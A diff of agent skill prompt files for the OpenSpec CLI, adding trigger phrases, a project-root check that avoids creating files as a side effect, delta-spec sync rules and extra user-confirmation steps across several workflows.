||||
Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. When the requested capture is done, stop there and name where the work continues: `/openspec-propose` writes the remaining planning artifacts, and `/openspec-apply-change` implements the change once tasks exist. Capturing artifacts never starts implementing them.
|
||||
|
||||
### When a change exists
|
||||
|
||||
@@ -304,7 +315,7 @@ You: That changes everything.
|
||||
|
||||
There's no required ending. Discovery might:
|
||||
|
||||
- **Flow into a proposal**: "Ready to start? I can create a change proposal."
|
||||
- **Flow into a proposal**: "Ready to start? Run `/openspec-propose` and this becomes a change."
|
||||
- **Result in artifact updates**: "Updated design.md with these decisions"
|
||||
- **Just provide clarity**: User has what they need, moves on
|
||||
- **Continue later**: "We can pick this up anytime"
|
||||
@@ -321,7 +332,7 @@ When it feels like things are crystallizing, you might summarize:
|
||||
**Open questions**: [if any remain]
|
||||
|
||||
**Next steps** (if ready):
|
||||
- Create a change proposal
|
||||
- Turn this into a change: `/openspec-propose`
|
||||
- Keep exploring: just keep talking
|
||||
```
|
||||
|
||||
@@ -331,11 +342,11 @@ But this summary is optional. Sometimes the thinking IS the value.
|
||||
|
||||
## Guardrails
|
||||
|
||||
- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not.
|
||||
- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not. When the user is ready to build, name the handoff rather than starting: `/openspec-propose` turns the discussion into a change, and the work happens there.
|
||||
- **Don't fake understanding** - If something is unclear, dig deeper
|
||||
- **Don't rush** - Discovery is thinking time, not task time
|
||||
- **Don't force structure** - Let patterns emerge naturally
|
||||
- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write.
|
||||
- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write. That rule governs `openspec new change` whenever you are the one proposing the capture; the user's own capture request is the exception, handled in the capture transition above.
|
||||
- **Don't manually scaffold changes** - Never create a new change directory under `openspec/changes/` by hand. Always use `openspec new change "<name>"` (with `--store <id>` when applicable) so required metadata such as `.openspec.yaml` is created before writing artifacts.
|
||||
- **Do visualize** - A good diagram is worth many paragraphs
|
||||
- **Do explore the codebase** - Ground discussions in reality
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-ff-change
|
||||
description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually.
|
||||
description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually. Also use when the user says "openspec ff" or "opsx ff".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Fast-forward through artifact creation - generate everything needed to start imp
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
@@ -80,7 +91,7 @@ Fast-forward through artifact creation - generate everything needed to start imp
|
||||
- Dependencies are enablers, not gates: if a required artifact is still `blocked` only because you skipped a conditional dependency, write it anyway
|
||||
- Stop when every artifact in the required set is `done`, `skipped`, or was deliberately skipped
|
||||
|
||||
c. **If an artifact requires user input** (unclear context):
|
||||
c. **If an artifact requires user input** (critically unclear context):
|
||||
- Ask the user to clarify
|
||||
- Then continue with creation
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-new-change
|
||||
description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach.
|
||||
description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach. Also use when the user says "openspec new change" or "opsx new".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Start a new change using the experimental artifact-driven approach.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-onboard
|
||||
description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work.
|
||||
description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work. Also use when the user says "openspec onboard" or "opsx onboard".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Guide the user through their first complete OpenSpec workflow cycle. This is a t
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
---
|
||||
|
||||
## Preflight
|
||||
@@ -220,6 +231,8 @@ Here's a draft proposal:
|
||||
|
||||
---
|
||||
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
[1-2 sentences explaining the problem/opportunity]
|
||||
@@ -287,6 +300,8 @@ Here's the spec:
|
||||
|
||||
---
|
||||
|
||||
# Spec Delta
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: <Name>
|
||||
@@ -326,6 +341,8 @@ Here's the design:
|
||||
|
||||
---
|
||||
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
[Brief context about the current state]
|
||||
@@ -361,7 +378,7 @@ Save to the `resolvedOutputPath` from `openspec instructions design --change "<n
|
||||
|
||||
Finally, we break the work into implementation tasks—checkboxes that drive the apply phase.
|
||||
|
||||
These should be small, clear, and in logical order.
|
||||
These should be small, clear, and in logical order. Each group carries the tests and documentation for its own work - the last group is only for integration checks.
|
||||
```
|
||||
|
||||
**DO:** Generate tasks based on specs and design:
|
||||
@@ -371,6 +388,8 @@ Here are the implementation tasks:
|
||||
|
||||
---
|
||||
|
||||
# Tasks
|
||||
|
||||
## 1. [Category or file]
|
||||
|
||||
- [ ] 1.1 [Specific task] — verify: [test, command, observable behavior, or delivered artifact]
|
||||
@@ -382,12 +401,17 @@ Here are the implementation tasks:
|
||||
|
||||
---
|
||||
|
||||
Each checkbox becomes a unit of work in the apply phase. Ready to implement?
|
||||
Each checkbox becomes a unit of work in the apply phase. Does this task breakdown look right?
|
||||
```
|
||||
|
||||
**PAUSE** - Wait for user to confirm they're ready to implement.
|
||||
**PAUSE** - Wait for user approval/feedback.
|
||||
|
||||
Save to the `resolvedOutputPath` from `openspec instructions tasks --change "<name>" --json`.
|
||||
After approval, save to the `resolvedOutputPath` from `openspec instructions tasks --change "<name>" --json`.
|
||||
|
||||
Then ask:
|
||||
> "Tasks are saved. Ready to implement?"
|
||||
|
||||
**PAUSE** - Wait for user to confirm before implementation.
|
||||
|
||||
---
|
||||
|
||||
@@ -472,23 +496,18 @@ This same rhythm works for any size change—a small fix or a major feature.
|
||||
|
||||
## Command Reference
|
||||
|
||||
**Core workflow:**
|
||||
**The commands you have installed:**
|
||||
|
||||
| Command | What it does |
|
||||
|-------------------|--------------------------------------------|
|
||||
| Command | What it does |
|
||||
|------------------|--------------------------------------------|
|
||||
| `/openspec-propose` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems before/during work |
|
||||
| `/openspec-apply-change` | Implement tasks from a change |
|
||||
| `/openspec-archive-change` | Archive a completed change |
|
||||
|
||||
**Additional commands** (only if installed - availability depends on your profile):
|
||||
|
||||
| Command | What it does |
|
||||
|--------------------|----------------------------------------------------------|
|
||||
| `/openspec-new-change` | Start a new change, step through artifacts one at a time |
|
||||
| `/openspec-continue-change` | Continue working on an existing change |
|
||||
| `/openspec-ff-change` | Fast-forward: create all artifacts at once |
|
||||
| `/openspec-verify-change` | Verify implementation matches artifacts |
|
||||
| `/openspec-new-change` | Start a new change, one artifact at a time |
|
||||
| `/openspec-continue-change` | Continue working on an existing change |
|
||||
| `/openspec-ff-change` | Fast-forward: create all artifacts at once |
|
||||
| `/openspec-verify-change` | Verify implementation matches artifacts |
|
||||
|
||||
---
|
||||
|
||||
@@ -508,8 +527,8 @@ If the user says they need to stop, want to pause, or seem disengaged:
|
||||
```
|
||||
No problem! Your change is saved at the `changeRoot` reported by `openspec status --change "<name>" --json`.
|
||||
|
||||
To pick up where we left off later:
|
||||
- `/openspec-continue-change <name>` - Resume artifact creation (if installed; otherwise `openspec status --change "<name>" --json` shows the next artifact)
|
||||
To pick up where we left off later, `openspec status --change "<name>" --json` shows exactly where the change stands.
|
||||
- `/openspec-continue-change <name>` - Resume artifact creation
|
||||
- `/openspec-apply-change <name>` - Jump to implementation (if tasks exist)
|
||||
|
||||
The work won't be lost. Come back whenever you're ready.
|
||||
@@ -524,23 +543,18 @@ If the user says they just want to see the commands or skip the tutorial:
|
||||
```
|
||||
## OpenSpec Quick Reference
|
||||
|
||||
**Core workflow:**
|
||||
**The commands you have installed:**
|
||||
|
||||
| Command | What it does |
|
||||
|--------------------------|--------------------------------------------|
|
||||
| `/openspec-propose <name>` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems (no code changes) |
|
||||
| `/openspec-apply-change <name>` | Implement tasks |
|
||||
| `/openspec-archive-change <name>` | Archive when done |
|
||||
|
||||
**Additional commands** (only if installed - availability depends on your profile):
|
||||
|
||||
| Command | What it does |
|
||||
|---------------------------|-------------------------------------|
|
||||
| `/openspec-new-change <name>` | Start a new change, step by step |
|
||||
| `/openspec-continue-change <name>` | Continue an existing change |
|
||||
| `/openspec-ff-change <name>` | Fast-forward: all artifacts at once |
|
||||
| `/openspec-verify-change <name>` | Verify implementation |
|
||||
| `/openspec-propose <name>` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems (no code changes) |
|
||||
| `/openspec-apply-change <name>` | Implement tasks |
|
||||
| `/openspec-archive-change <name>` | Archive when done |
|
||||
| `/openspec-new-change <name>` | Start a new change, step by step |
|
||||
| `/openspec-continue-change <name>` | Continue an existing change |
|
||||
| `/openspec-ff-change <name>` | Fast-forward: all artifacts at once |
|
||||
| `/openspec-verify-change <name>` | Verify implementation |
|
||||
|
||||
Try `/openspec-propose` to start your first change.
|
||||
```
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-propose
|
||||
description: Propose a new change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation.
|
||||
description: Propose a new OpenSpec change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation. Also use when the user says "openspec propose" or "opsx propose".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -27,6 +27,17 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
@@ -44,7 +55,7 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
|
||||
2. **Load project context**
|
||||
|
||||
Run `openspec context --json` from the current working directory (or `openspec context --json --store "<store-id>"` when a registered store was explicitly selected). Use the returned `root.path` as the authoritative OpenSpec root. If context reports `no_openspec_root`, stop without creating or changing any files. Offer `openspec init` and wait for the user to request initialization. Do not initialize automatically or run `openspec new change`. After initialization, rerun this context check before continuing. For any other context failure, stop and report the error; do not fall back to the current directory or run later OpenSpec commands without the selected store.
|
||||
Run `openspec context --json` from the current working directory (or `openspec context --json --store "<store-id>"` when a registered store was explicitly selected). Use the returned `root.path` as the authoritative OpenSpec root. If context reports `no_openspec_root`, stop without creating or changing any files and follow the **Project check** above for how this workflow was reached. Offer `openspec init` only for an explicit OpenSpec request, and wait for the user to request initialization. Do not initialize automatically or run `openspec new change`. After initialization, rerun this context check before continuing. For any other context failure, stop and report the error; do not fall back to the current directory or run later OpenSpec commands without the selected store.
|
||||
|
||||
Only when context returns a resolved `root.path`, read `<root.path>/openspec/config.yaml`. Use `config.yml` only when `config.yaml` does not exist. If neither file exists, continue without project context. Do not fall back to `config.yml` if `config.yaml` is unreadable or invalid.
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-sync-specs
|
||||
description: Sync delta specs from a change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change.
|
||||
description: Sync delta specs from an OpenSpec change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change. Also use when the user says "openspec sync" or "opsx sync".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -15,6 +15,17 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
@@ -95,6 +106,13 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
|
||||
b. **Read the main spec** at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (may not exist yet)
|
||||
|
||||
**If it does not exist yet** (a new capability), match what `openspec archive` does:
|
||||
only ADDED requirements may be applied - step d creates the spec from them.
|
||||
MODIFIED and RENAMED have no requirement to act on, so stop the sync for that
|
||||
capability and report that its main spec does not exist and only ADDED is allowed
|
||||
for a new spec; never invent the missing requirement. REMOVED has nothing to
|
||||
remove - skip it and warn.
|
||||
|
||||
c. **Apply changes intelligently**:
|
||||
|
||||
**ADDED Requirements:**
|
||||
@@ -142,6 +160,14 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
(this is what `openspec archive` does; it warns and moves on)
|
||||
|
||||
d. **Create new main spec** if capability doesn't exist yet:
|
||||
- Only when the delta has ADDED requirements to put in it and no MODIFIED or
|
||||
RENAMED requirements blocked this capability in step b. Otherwise create nothing
|
||||
and leave the specs directory untouched. For a REMOVED-only delta, if the change's
|
||||
`.openspec.yaml` declares `retire_capabilities: true`, report it as already retired
|
||||
and continue without recreating the spec. Without that marker, report the sync as blocked:
|
||||
`openspec archive` rejects it with `Spec must have at least one requirement`.
|
||||
An empty delta has no operations to sync; report it as blocked too.
|
||||
Never write an empty `## Requirements` section.
|
||||
- Create `<planningHome.root>/openspec/specs/<capability-path>/spec.md`
|
||||
- Add Purpose section: copy the delta's `## Purpose` body verbatim when it has one
|
||||
(this is what `openspec archive` does); only write a brief TBD placeholder when it does not
|
||||
@@ -166,6 +192,8 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
**Delta Spec Format Reference**
|
||||
|
||||
```markdown
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Only on a delta that introduces a brand-new capability. Seeds the new main spec.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-update-change
|
||||
description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Never edits code.
|
||||
description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Also use when the user says "openspec update change" or "opsx update". If the user means the openspec update CLI command, which refreshes generated files, run that command instead. Never edits code.
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,9 +13,20 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
`/openspec-continue-change` is an optional workflow and may not be installed. Before suggesting it anywhere below, verify that it is available. If it is unavailable, `openspec status --change "<name>" --json` shows the next artifact and `openspec instructions "<artifact-id>" --change "<name>" --json` explains how to create it.
|
||||
This workflow revises artifacts that already exist; `/openspec-continue-change` is what creates the ones that do not.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -28,7 +39,6 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
When prompting, present the top 3-4 most recently modified changes as options, showing:
|
||||
- Change name
|
||||
- Schema (from `schema` field if present, otherwise "spec-driven")
|
||||
- Status (e.g., "0/5 tasks", "complete", "no tasks")
|
||||
- How recently it was modified (from `lastModified` field)
|
||||
|
||||
@@ -56,13 +66,20 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
4. **Read and reconcile**
|
||||
- Read the artifact(s) the request touches and the change's other existing artifacts.
|
||||
- Apply the requested edit. Then check every other existing artifact against it - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
|
||||
- Draft the requested edit in the conversation, not in files. Work out exactly what it changes; step 5 owns every write. Then check every other existing artifact against the drafted edit - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
|
||||
- Note everything that is now inconsistent, missing, or contradictory.
|
||||
